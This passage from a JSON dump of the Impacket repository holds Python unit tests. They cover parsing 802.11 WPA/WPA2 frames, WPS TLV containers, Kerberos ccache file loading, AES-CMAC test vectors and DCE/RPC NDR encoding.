self.frame_orig=b'\\x08\\x42\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x21\\x29\\x68\\x33\\x5d\\x00\\x1b\\xfc\\x1e\\xca\\x40\\xa0\\x16\\x02\\x22\\x5a\\x60\\x00\\x00\\x00\\x00\\xa2\\x0e\\x77\\x36\\xea\\x90\\x76\\x0f\\x7a\\x9f\\x6e\\x6c\\x78\\xb9\\xe0\\x3e\\xb4\\x9d\\x09\\xca\\xde\\xef\\x95\\x58\\x28\\x97\\x17\\x46\\x53\\x43\\x41\\x2b\\x2a\\xc6\\xbe\\xe4\\x59\\x60\\xf0\\x17\\x1d\\x20\\x8c\\xca\\x3c\\x26\\x0d\\x5d\\x6b\\x10\\x81\\xbc\\xc6\\xba\\x90\\xa5\\x77\\x0e\\x83\\xd0\\xd0\\xb9\\xdd\\xbf\\x80\\xbf\\x65\\x17\\xee\\xc0\\x3a\\x52\\x32\\x34\\x75\\xac\\x0c\\xc2\\xbb\\x25\\x28\\x8f\\x6a\\xe6\\x96\\x7a\\x53\\x4a\\x77\\xcc\\x2b\\xe5\\x9a\\x9a\\x73\\xc2\\x08\\x4c\\x42\\x15\\xe9\\x26\\xa0\\xce\\x70\\x0e\\x50\\x9b\\x2d\\xa2\\x6e\\xcb\\x92\\x54\\xc0\\x6d\\xbc\\x13\\xfe\\x4d\\xd8\\x6b\\x8c\\x76\\x98\\x9a\\x71\\x4d\\x51\\xb1\\xf5\\x4f\\xe2\\x43\\x1b\\xfa\\x6f\\x5c\\x98\\x6a\\x3a\\x64\\x4f\\x50\\xc4\\x09\\x7d\\x10\\x3f\\xa2\\x64\\xd9\\xad\\x6e\\x44\\xe3\\x84\\x3d\\x2b\\x77\\x11\\xd8\\x04\\x9d\\x9d\\xd4\\x32\\x35\\xe8\\x3d\\xeb\\xd5\\x9a\\xde\\xf3\\xb5\\x41\\x67\\x94\\xf9\\xb1\\xe0\\x7a\\xea\\x33\\xb2\\x00\\xef\\x6a\\x2e\\x6c\\x3b\\xea\\x23\\x49\\x23\\xc2\\xca\\x24\\x53\\xea\\xc0\\x7e\\x8c\\xcf\\x73\\xcb\\x2d\\x0c\\x8e\\xdb\\x7b\\x9e\\x0a\\x66\\x81\\x90'\n        d = Dot11(self.frame_orig)\n        \n        self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)\n        self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)\n        self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)\n        \n        data = Dot11DataFrame(d.get_body_as_string())\n        d.contains(data)\n        \n        self.wpa_header = Dot11WPA(data.body_string)\n        data.contains(self.wpa_header)\n        \n        self.wpa_data = Dot11WPAData(self.wpa_header.body_string)\n        self.wpa_header.contains(self.wpa_data)\n\n    def test_01_is_WPA(self):\n        'Test WPAHeader is_WPA method'\n        self.assertEqual(self.wpa_header.is_WPA(), True)\n        \n    def test_03_extIV(self):\n        'Test WPAHeader extIV getter and setter methods'\n        self.assertEqual(self.wpa_header.get_extIV(), 0x01)\n        \n        self.wpa_header.set_extIV(0x00) # Es de 1 bit\n        self.assertEqual(self.wpa_header.get_extIV(), 0x00)\n        \n    def test_04_keyid(self):\n        'Test WPAHeader keyID getter and setter methods'\n        self.assertEqual(self.wpa_header.get_keyid(), 0x01)\n        \n        self.wpa_header.set_keyid(0x03) # Es de 2 bits\n        self.assertEqual(self.wpa_header.get_keyid(), 0x03)\n    \n    #TODO: Test get_decrypted_data\n    #def test_05_get_decrypted_data(self):\n\n    def test_06_WEPSeed(self):\n        'Test WPAData WEPSeed getter and setter methods'\n        # TSC0\n        self.assertEqual(self.wpa_header.get_WEPSeed(), 0x22)\n        self.wpa_header.set_WEPSeed(0xAB)\n        self.assertEqual(self.wpa_header.get_WEPSeed(), 0xAB)\n    \n    def test_07_TSCs(self):\n        'Test WPAData TSC0 to TSC5 getter and setter methods'\n        # TSC0\n        self.assertEqual(self.wpa_header.get_TSC0(), 0x5A)\n        self.wpa_header.set_TSC0(0xAB)\n        self.assertEqual(self.wpa_header.get_TSC0(), 0xAB)\n\n        # TSC1\n        self.assertEqual(self.wpa_header.get_TSC1(), 0x02)\n        self.wpa_header.set_TSC1(0xAB)\n        self.assertEqual(self.wpa_header.get_TSC1(), 0xAB)\n\n        # TSC2\n        self.assertEqual(self.wpa_header.get_TSC2(), 0x00)\n        self.wpa_header.set_TSC2(0xAB)\n        self.assertEqual(self.wpa_header.get_TSC2(), 0xAB)\n\n        # TSC3\n        self.assertEqual(self.wpa_header.get_TSC3(), 0x00)\n        self.wpa_header.set_TSC3(0xAB)\n        self.assertEqual(self.wpa_header.get_TSC3(), 0xAB)\n\n        # TSC4\n        self.assertEqual(self.wpa_header.get_TSC4(), 0x00)\n        self.wpa_header.set_TSC4(0xAB)\n        self.assertEqual(self.wpa_header.get_TSC4(), 0xAB)\n\n        # TSC5\n        self.assertEqual(self.wpa_header.get_TSC5(), 0x00)\n        self.wpa_header.set_TSC5(0xAB)\n        self.assertEqual(self.wpa_header.get_TSC5(), 0xAB)\n\n    def test_08_data(self):\n        'Test WPAData body'\n        data=b'\\xa2\\x0e\\x77\\x36\\xea\\x90\\x76\\x0f\\x7a\\x9f\\x6e\\x6c\\x78\\xb9\\xe0\\x3e\\xb4\\x9d\\x09\\xca\\xde\\xef\\x95\\x58\\x28\\x97\\x17\\x46\\x53\\x43\\x41\\x2b\\x2a\\xc6\\xbe\\xe4\\x59\\x60\\xf0\\x17\\x1d\\x20\\x8c\\xca\\x3c\\x26\\x0d\\x5d\\x6b\\x10\\x81\\xbc\\xc6\\xba\\x90\\xa5\\x77\\x0e\\x83\\xd0\\xd0\\xb9\\xdd\\xbf\\x80\\xbf\\x65\\x17\\xee\\xc0\\x3a\\x52\\x32\\x34\\x75\\xac\\x0c\\xc2\\xbb\\x25\\x28\\x8f\\x6a\\xe6\\x96\\x7a\\x53\\x4a\\x77\\xcc\\x2b\\xe5\\x9a\\x9a\\x73\\xc2\\x08\\x4c\\x42\\x15\\xe9\\x26\\xa0\\xce\\x70\\x0e\\x50\\x9b\\x2d\\xa2\\x6e\\xcb\\x92\\x54\\xc0\\x6d\\xbc\\x13\\xfe\\x4d\\xd8\\x6b\\x8c\\x76\\x98\\x9a\\x71\\x4d\\x51\\xb1\\xf5\\x4f\\xe2\\x43\\x1b\\xfa\\x6f\\x5c\\x98\\x6a\\x3a\\x64\\x4f\\x50\\xc4\\x09\\x7d\\x10\\x3f\\xa2\\x64\\xd9\\xad\\x6e\\x44\\xe3\\x84\\x3d\\x2b\\x77\\x11\\xd8\\x04\\x9d\\x9d\\xd4\\x32\\x35\\xe8\\x3d\\xeb\\xd5\\x9a\\xde\\xf3\\xb5\\x41\\x67\\x94\\xf9\\xb1\\xe0\\x7a\\xea\\x33\\xb2\\x00\\xef\\x6a\\x2e\\x6c\\x3b\\xea\\x23\\x49\\x23\\xc2\\xca\\x24\\x53\\xea'\n        self.assertEqual(self.wpa_data.body_string, data)\n\n    def test_09_mic(self):\n        'Test WPAData MIC field'\n        mic=b'\\xc0\\x7e\\x8c\\xcf\\x73\\xcb\\x2d\\x0c'\n        #icv=>'\\x8e\\xdb\\x7b\\x9e'\n        self.assertEqual(self.wpa_data.get_MIC(), mic)\n\n        mic=b'\\x01\\x02\\x03\\x04\\xff\\xfe\\xfd\\xfc'\n        self.wpa_data.set_MIC(mic)\n        self.assertEqual(self.wpa_data.get_MIC(), mic)\n        self.assertEqual(self.wpa_data.get_icv(), 0x8edb7b9e)\n        \n    def test_10_get_icv(self):\n        'Test WPAData ICV field'\n        \n        self.assertEqual(self.wpa_data.get_icv(), 0x8edb7b9e)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_WPA2.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data\n\n\nclass TestDot11WPA2Data(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Data Frame \n        #\n        self.frame_orig=b'\\x08\\x49\\x24\\x00\\x00\\x21\\x29\\x68\\x33\\x5d\\x00\\x15\\xaf\\xe4\\xf1\\x0f\\x00\\x21\\x29\\x68\\x33\\x5b\\xe0\\x31\\x1b\\x13\\x00\\x20\\x00\\x00\\x00\\x00\\x84\\x7d\\x6a\\x30\\x8c\\x60\\x7e\\x3b\\x22\\xdc\\x16\\xc1\\x4b\\x28\\xd3\\x26\\x76\\x9d\\x2e\\x59\\x96\\x31\\x3e\\x01\\x6f\\x61\\xa2\\x59\\xc8\\xdc\\xd3\\xc4\\xad\\x7c\\xcc\\x32\\xa8\\x9f\\xf6\\x03\\x02\\xe1\\xac\\x1d\\x1e\\x02\\x8a\\xcd\\x5b\\x94\\x20\\x2d\\xfc\\x6e\\x37\\x40\\x2e\\x46\\x17\\x19\\x0c\\xc0\\x34\\x07\\xae\\xe7\\x77\\xaf\\xf9\\x9f\\x41\\x53'\n        d = Dot11(self.frame_orig)\n        \n        self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)\n        self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)\n        self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)\n        \n        data = Dot11DataFrame(d.get_body_as_string())\n        d.contains(data)\n        \n        self.wpa2_header = Dot11WPA2(data.body_string)\n        data.contains(self.wpa2_header)\n        \n        self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string)\n        self.wpa2_header.contains(self.wpa2_data)\n\n    def test_01_is_WPA2(self):\n        'Test WPA2Header is_WPA2 method'\n        self.assertEqual(self.wpa2_header.is_WPA2(), True)\n        \n    def test_03_extIV(self):\n        'Test WPA2Header extIV getter and setter methods'\n        self.assertEqual(self.wpa2_header.get_extIV(), 0x01)\n        \n        self.wpa2_header.set_extIV(0x00) # Es de 1 bit\n        self.assertEqual(self.wpa2_header.get_extIV(), 0x00)\n        \n    def test_04_keyid(self):\n        'Test WPA2Header keyID getter and setter methods'\n        self.assertEqual(self.wpa2_header.get_keyid(), 0x00)\n        \n        self.wpa2_header.set_keyid(0x03) # Es de 2 bits\n        self.assertEqual(self.wpa2_header.get_keyid(), 0x03)\n    \n    #TODO: Test get_decrypted_data\n    #def test_05_get_decrypted_data(self):\n    \n    def test_06_PNs(self):\n        'Test WPA2Data PN0 to PN5 getter and setter methods'\n        # PN0\n        self.assertEqual(self.wpa2_header.get_PN0(), 0x1b)\n        self.wpa2_header.set_PN0(0xAB)\n        self.assertEqual(self.wpa2_header.get_PN0(), 0xAB)\n\n        # PN1\n        self.assertEqual(self.wpa2_header.get_PN1(), 0x13)\n        self.wpa2_header.set_PN1(0xAB)\n        self.assertEqual(self.wpa2_header.get_PN1(), 0xAB)\n\n        # PN2\n        self.assertEqual(self.wpa2_header.get_PN2(), 0x00)\n        self.wpa2_header.set_PN2(0xAB)\n        self.assertEqual(self.wpa2_header.get_PN2(), 0xAB)\n\n        # PN3\n        self.assertEqual(self.wpa2_header.get_PN3(), 0x00)\n        self.wpa2_header.set_PN3(0xAB)\n        self.assertEqual(self.wpa2_header.get_PN3(), 0xAB)\n\n        # PN4\n        self.assertEqual(self.wpa2_header.get_PN4(), 0x00)\n        self.wpa2_header.set_PN4(0xAB)\n        self.assertEqual(self.wpa2_header.get_PN4(), 0xAB)\n\n        # PN5\n        self.assertEqual(self.wpa2_header.get_PN5(), 0x00)\n        self.wpa2_header.set_PN5(0xAB)\n        self.assertEqual(self.wpa2_header.get_PN5(), 0xAB)\n\n    def test_07_data(self):\n        'Test WPA2Data body'\n        data=b'\\x84\\x7d\\x6a\\x30\\x8c\\x60\\x7e\\x3b\\x22\\xdc\\x16\\xc1\\x4b\\x28\\xd3\\x26\\x76\\x9d\\x2e\\x59\\x96\\x31\\x3e\\x01\\x6f\\x61\\xa2\\x59\\xc8\\xdc\\xd3\\xc4\\xad\\x7c\\xcc\\x32\\xa8\\x9f\\xf6\\x03\\x02\\xe1\\xac\\x1d\\x1e\\x02\\x8a\\xcd\\x5b\\x94\\x20\\x2d\\xfc\\x6e\\x37\\x40\\x2e\\x46\\x17\\x19'\n        self.assertEqual(self.wpa2_data.body_string, data)\n\n    def test_08_mic(self):\n        'Test WPA2Data MIC field'\n        mic=b'\\x0c\\xc0\\x34\\x07\\xae\\xe7\\x77\\xaf'\n        self.assertEqual(self.wpa2_data.get_MIC(), mic)\n\n        mic=b'\\x01\\x02\\x03\\x04\\xff\\xfe\\xfd\\xfc'\n        self.wpa2_data.set_MIC(mic)\n        self.assertEqual(self.wpa2_data.get_MIC(), mic)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_helper.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Tests for helper used to build ProtocolPackets\n#\n# Author:\n#   Aureliano Calvo\n#\nimport unittest\nimport impacket.helper as h\n\n\nclass TestHelpers(unittest.TestCase):\n    \n    def test_well_formed(self):\n        class MockPacket(h.ProtocolPacket):\n            byte_field = h.Byte(0)\n            word_field = h.Word(1, \">\")\n            three_bytes_field = h.ThreeBytesBigEndian(3)\n            long_field = h.Long(6, \">\")\n            aliased_bit_field = h.Bit(0,0)\n            \n            header_size = 4\n            tail_size = 0\n            \n        p = MockPacket()\n        p.byte_field = 1\n        p.word_field = 2\n        p.three_bytes_field = 4\n        p.long_field = 8\n        \n        self.assertEqual(1, p.byte_field)\n        self.assertEqual(2, p.word_field)\n        self.assertEqual(4, p.three_bytes_field)\n        self.assertEqual(8, p.long_field)\n        \n        self.assertEqual(True, p.aliased_bit_field)\n        \n        p.aliased_bit_field = False\n        \n        self.assertEqual(0, p.byte_field)\n        \n        self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing.\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_wps.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Tests for WPS packets\n#\n# Author:\n#   Aureliano Calvo\n#\nimport unittest\nimport array\nfrom impacket import wps\n\n\nclass TestTLVContainer(unittest.TestCase):\n\n    def testNormalUsageContainer(self):\n        BUILDERS={\n            1: wps.StringBuilder(),\n            2: wps.ByteBuilder(),\n            3: wps.NumBuilder(2)\n        }\n        tlvc = wps.TLVContainer(builders=BUILDERS)\n        \n        KINDS_N_VALUES = (\n            (1, b\"Sarlanga\"),\n            (2, 1),\n            (3, 1024),\n            (4, array.array(\"B\", [1,2,3]))\n        )\n        for k,v in KINDS_N_VALUES:\n            tlvc.append(k,v)\n        \n        tlvc2 = wps.TLVContainer(builders=BUILDERS)\n        tlvc2.from_ary(tlvc.to_ary())\n        \n        for k,v in KINDS_N_VALUES:\n            self.assertEqual(v, tlvc2.first(k))\n        \n        self.assertEqual(tlvc.to_ary(), tlvc2.to_ary())\n        self.assertEqual(b\"Sarlanga\", tlvc.first(1))\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/__init__.py",
    "content": "#!/usr/bin/env python\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n"
  },
  {
    "path": "tests/misc/test_ccache.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Kerberos CCACHE unit tests\n#\nimport os\nimport pytest\nimport unittest\nfrom six import PY2\nif PY2:\n    mock = None\n    FileNotFoundError = IOError\nelse:\n    from unittest import mock\nfrom impacket.krb5.ccache import CCache, Credential\n\n\nclass CCACHETests(unittest.TestCase):\n\n    service = \"krbtgt\"\n    domain = \"INNOVATION.ROCKS\"\n    username = \"user01\"\n    server = \"{}/{}@{}\".format(service, domain, domain)\n\n    cache_v1_file = \"tests/data/ccache-v1\"\n    cache_v2_file = \"tests/data/ccache-v2\"\n    cache_v3_file = \"tests/data/ccache-v3\"\n    cache_v4_file = \"tests/data/ccache-v4\"\n    cache_v3_kirbi_file = \"tests/data/ccache-v3-kirbi\"\n    cache_v4_kirbi_file = \"tests/data/ccache-v4-kirbi\"\n\n    def assert_ccache(self, ccache):\n        ccache.prettyPrint()\n        self.assertIsInstance(ccache, CCache)\n        self.assertEqual(len(ccache.credentials), 1)\n        for cred in ccache.credentials:\n            self.assertIsInstance(cred, Credential)\n\n        self.assertIsNone(ccache.getCredential(\"krbtgt/UNEXISTENT.COM@UNEXISTENT.COM\", True))\n        self.assertIsNone(ccache.getCredential(\"krbtgt/UNEXISTENT.COM@UNEXISTENT.COM\", False))\n        self.assertIsNotNone(ccache.getCredential(self.server, True))\n        self.assertIsNotNone(ccache.getCredential(self.server, False))\n\n    def test_ccache_loadFile(self):\n        with self.assertRaises(FileNotFoundError):\n            CCache.loadFile(\"NON_EXISTENT\")\n\n        for cache_file in [self.cache_v1_file,\n                           self.cache_v2_file]:\n            with self.assertRaises(NotImplementedError):\n                CCache.loadFile(cache_file)\n\n        for cache_file in [self.cache_v3_file,\n                           self.cache_v4_file]:\n            ccache = CCache.loadFile(cache_file)\n            self.assert_ccache(ccache)\n\n    def test_ccache_fromKirbi(self):\n        with self.assertRaises(FileNotFoundError):\n            CCache.loadKirbiFile(\"NON_EXISTENT\")\n\n        for kirbi_file in [self.cache_v3_kirbi_file,\n                           self.cache_v4_kirbi_file]:\n            ccache = CCache.loadKirbiFile(kirbi_file)\n            self.assert_ccache(ccache)\n\n    @pytest.mark.skipif(PY2, reason=\"requires python 3.3 or higher\")\n    def test_ccache_parseFile_no_cache(self):\n        if not PY2:\n            with mock.patch.dict(os.environ, {}, clear=True):\n                domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username)\n                self.assertEqual(domain, self.domain)\n                self.assertEqual(username, self.username)\n                self.assertIsNone(TGT)\n                self.assertIsNone(TGS)\n\n    @pytest.mark.skipif(PY2, reason=\"requires python 3.3 or higher\")\n    def test_ccache_parseFile_unexistent(self):\n        if not PY2:\n            with mock.patch.dict(os.environ, {\"KRB5CCNAME\": \"ccache-unexistent-file\"}):\n                with self.assertRaises(FileNotFoundError):\n                    CCache.parseFile(self.domain, self.username)\n\n    @pytest.mark.skipif(PY2, reason=\"requires python 3.3 or higher\")\n    def test_ccache_parseFile(self):\n        if not PY2:\n            with mock.patch.dict(os.environ, {\"KRB5CCNAME\": self.cache_v4_file}):\n                domain, username, TGT, TGS = CCache.parseFile(\"\")\n                self.assertEqual(domain, self.domain)\n                self.assertEqual(username, self.username)\n                self.assertIsNone(TGS)\n                self.assertIsNotNone(TGT)\n\n                domain, username, TGT, TGS = CCache.parseFile(\"unexistent_domain\")\n                self.assertIsNone(TGS)\n                self.assertIsNone(TGT)\n\n                domain, username, TGT, TGS = CCache.parseFile(self.domain)\n                self.assertEqual(domain, self.domain)\n                self.assertEqual(username, self.username)\n                self.assertIsNone(TGS)\n                self.assertIsNotNone(TGT)\n\n                domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username)\n                self.assertEqual(domain, self.domain)\n                self.assertEqual(username, self.username)\n                self.assertIsNone(TGS)\n                self.assertIsNotNone(TGT)\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_crypto.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import print_function, division\nimport unittest\nfrom binascii import hexlify, unhexlify\n\nfrom impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128\n\n\ndef by8(s):\n    return [s[i:i + 8] for i in range(0, len(s), 8)]\n\n\ndef hex8(b):\n    return ' '.join(by8(hexlify(b).decode('ascii')))\n\n\ndef pp(prev, s):\n    print(prev, end=' ')\n    for c in by8(s):\n        print(c, end=' ')\n    #    for i in range((len(s)//8)):\n    #        print(\"%s\" % (s[:8]), end = ' ')\n    #        s = s[8:]\n    print()\n    return ''\n\n\nclass CryptoTests(unittest.TestCase):\n    def test_subkey(self):\n        K = \"2b7e151628aed2a6abf7158809cf4f3c\"\n        M = \"6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710\"  # noqa\n\n        K1, K2 = Generate_Subkey(unhexlify(K))\n        self.assertEqual(hex8(K1), 'fbeed618 35713366 7c85e08f 7236a8de')\n        self.assertEqual(hex8(K2), 'f7ddac30 6ae266cc f90bc11e e46d513b')\n\n    def test_AES_CMAC(self):\n        K = \"2b7e151628aed2a6abf7158809cf4f3c\"\n        M = \"6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710\"\n        # Example 1: len = 0\n        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 0)),\n                         'bb1d6929 e9593728 7fa37d12 9b756746')\n        # Example 2: len = 16\n        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 16)),\n                         '070a16b4 6b4d4144 f79bdd9d d04a287c')\n        # Example 3: len = 40\n        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 40)),\n                         'dfa66747 de9ae630 30ca3261 1497c827')\n        # Example 3: len = 64\n        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 64)),\n                         '51f0bebf 7e3b9d92 fc497417 79363cfe')\n        M = \"eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b\"\n        K = \"6c3473624099e17ff3a39ff6bdf6cc38\"\n        # Mac = dbf63fd93c4296609e2d66bf79251cb5\n        # Example 4: len = 45\n        self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 45)),\n                         'dbf63fd9 3c429660 9e2d66bf 79251cb5')\n\n    def test_AES_CMAC_PRF_128(self):\n        K = \"000102030405060708090a0b0c0d0e0fedcb\"\n        M = \"000102030405060708090a0b0c0d0e0f10111213\"\n\n        # AES-CMAC-PRF-128 Test Vectors\n        # Example 1: len = 0, Key Length       18\n        self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K), unhexlify(M), 18, len(unhexlify(M)))),\n                         '84a348a4 a45d235b abfffc0d 2b4da09a')\n        # Example 1: len = 0, Key Length       16\n        self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16], unhexlify(M), 16, len(unhexlify(M)))),\n                         '980ae87b 5f4c9c52 14f5b6a8 455e4c2d')\n        # Example 1: len = 0, Key Length       10\n        self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10], unhexlify(M), 10, len(unhexlify(M)))),\n                         '290d9e11 2edb09ee 141fcf64 c0b72f3d')\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_dcerpc_v5_ndr.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import print_function\nimport unittest\nfrom binascii import hexlify\n\nfrom impacket.dcerpc.v5.ndr import (NDRSTRUCT, NDRLONG, NDRSHORT,\n                                    NDRUniFixedArray,\n                                    NDRUniVaryingArray,\n                                    NDRUniConformantVaryingArray,\n                                    NDRVaryingString,\n                                    NDRConformantVaryingString,\n                                    NDRPOINTERNULL)\n\n\ndef hexl(b):\n    hexstr = str(hexlify(b).decode('ascii'))\n    return ' '.join([hexstr[i:i + 8] for i in range(0, len(hexstr), 8)])\n\n\nclass NDRTest(object):\n\n    def create(self, data=None, isNDR64=False):\n        if data is not None:\n            return self.theClass(data, isNDR64=isNDR64)\n        else:\n            return self.theClass(isNDR64=isNDR64)\n\n    def do_test(self, isNDR64=False):\n        a = self.create(isNDR64=isNDR64)\n        self.populate(a)\n        # packing...\n        a_str = a.getData()\n        self.check_data(a_str, isNDR64)\n        # unpacking...\n        b = self.create(a_str, isNDR64=isNDR64)\n        b_str = b.getData()\n        self.assertEqual(b_str, a_str)\n\n    def test_false(self):\n        self.do_test(False)\n\n    def test_true(self):\n        # Now the same tests but with NDR64\n        self.do_test(True)\n\n    def check_data(self, a_str, isNDR64):\n        try:\n            hexData = getattr(self, 'hexData64' if isNDR64 else 'hexData')\n            # Regression check\n            self.assertEqual(hexl(a_str), hexData)\n        except AttributeError:\n            # Show result, to aid adding regression check\n            print(self.__class__.__name__, isNDR64, hexl(a_str))\n\n\nclass TestUniFixedArray(NDRTest, unittest.TestCase):\n    class theClass(NDRSTRUCT):\n        structure = (\n            ('Array', NDRUniFixedArray),\n        )\n\n    def populate(self, a):\n        a['Array'] = b'12345678'\n\n    hexData = '31323334 35363738'\n    hexData64 = hexData\n\n\nclass TestStructWithPad(NDRTest, unittest.TestCase):\n    class theClass(NDRSTRUCT):\n        structure = (\n            ('long', NDRLONG),\n            ('short', NDRSHORT),\n        )\n\n    def populate(self, a):\n        a['long'] = 0xaa\n        a['short'] = 0xbb\n\n    hexData = 'aa000000 bb00'\n    hexData64 = hexData\n\n\n# class TestUniConformantArray(NDRTest):\n#    class theClass(NDRCall):\n#        structure = (\n#            ('Array', PNDRUniConformantArray),\n#            ('Array2', PNDRUniConformantArray),\n#        )\n#        def __init__(self, data = None,isNDR64 = False):\n#            NDRCall.__init__(self, None, isNDR64)\n#            self.fields['Array'].fields['Data'].item = RPC_UNICODE_STRING\n#            self.fields['Array2'].fields['Data'].item = RPC_UNICODE_STRING\n#            if data is not None:\n#                self.fromString(data)\n#        \n#    def populate(self, a):\n#        array = []\n#        strstr = RPC_UNICODE_STRING()\n#        strstr['Data'] = 'ThisIsMe'\n#        array.append(strstr)\n#        strstr = RPC_UNICODE_STRING()\n#        strstr['Data'] = 'ThisIsYou'\n#        array.append(strstr)\n#        a['Array'] = array\n#        a['Array2'] = array\n\nclass TestUniVaryingArray(NDRTest, unittest.TestCase):\n    class theClass(NDRSTRUCT):\n        structure = (\n            ('Array', NDRUniVaryingArray),\n        )\n\n    def populate(self, a):\n        a['Array'] = b'12345678'\n\n    hexData = '00000000 08000000 31323334 35363738'\n    hexData64 = '00000000 00000000 08000000 00000000 31323334 35363738'\n\n\nclass TestUniConformantVaryingArray(NDRTest, unittest.TestCase):\n    class theClass(NDRSTRUCT):\n        structure = (\n            ('Array', NDRUniConformantVaryingArray),\n        )\n\n    def populate(self, a):\n        a['Array'] = b'12345678'\n\n    hexData = '08000000 00000000 08000000 31323334 35363738'\n    hexData64 = '08000000 00000000 00000000 00000000 08000000 00000000 31323334 35363738'\n\n\nclass TestVaryingString(NDRTest, unittest.TestCase):\n    class theClass(NDRSTRUCT):\n        structure = (\n            ('Array', NDRVaryingString),\n        )\n\n    def populate(self, a):\n        a['Array'] = b'12345678'\n\n    hexData = '00000000 09000000 31323334 35363738 00'\n    hexData64 = '00000000 00000000 09000000 00000000 31323334 35363738 00'\n\n\nclass TestConformantVaryingString(NDRTest, unittest.TestCase):\n    class theClass(NDRSTRUCT):\n        structure = (\n            ('Array', NDRConformantVaryingString),\n        )\n\n    def populate(self, a):\n        a['Array'] = b'12345678'\n\n    hexData = '08000000 00000000 08000000 31323334 35363738'\n    hexData64 = '08000000 00000000 00000000 00000000 08000000 00000000 31323334 35363738'\n\n\nclass TestPointerNULL(NDRTest, unittest.TestCase):\n    class theClass(NDRSTRUCT):\n        structure = (\n            ('Array', NDRPOINTERNULL),\n        )\n\n    def populate(self, a):\n        pass\n\n    hexData = '00000000'\n    hexData64 = '00000000 00000000'\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_dns.py",
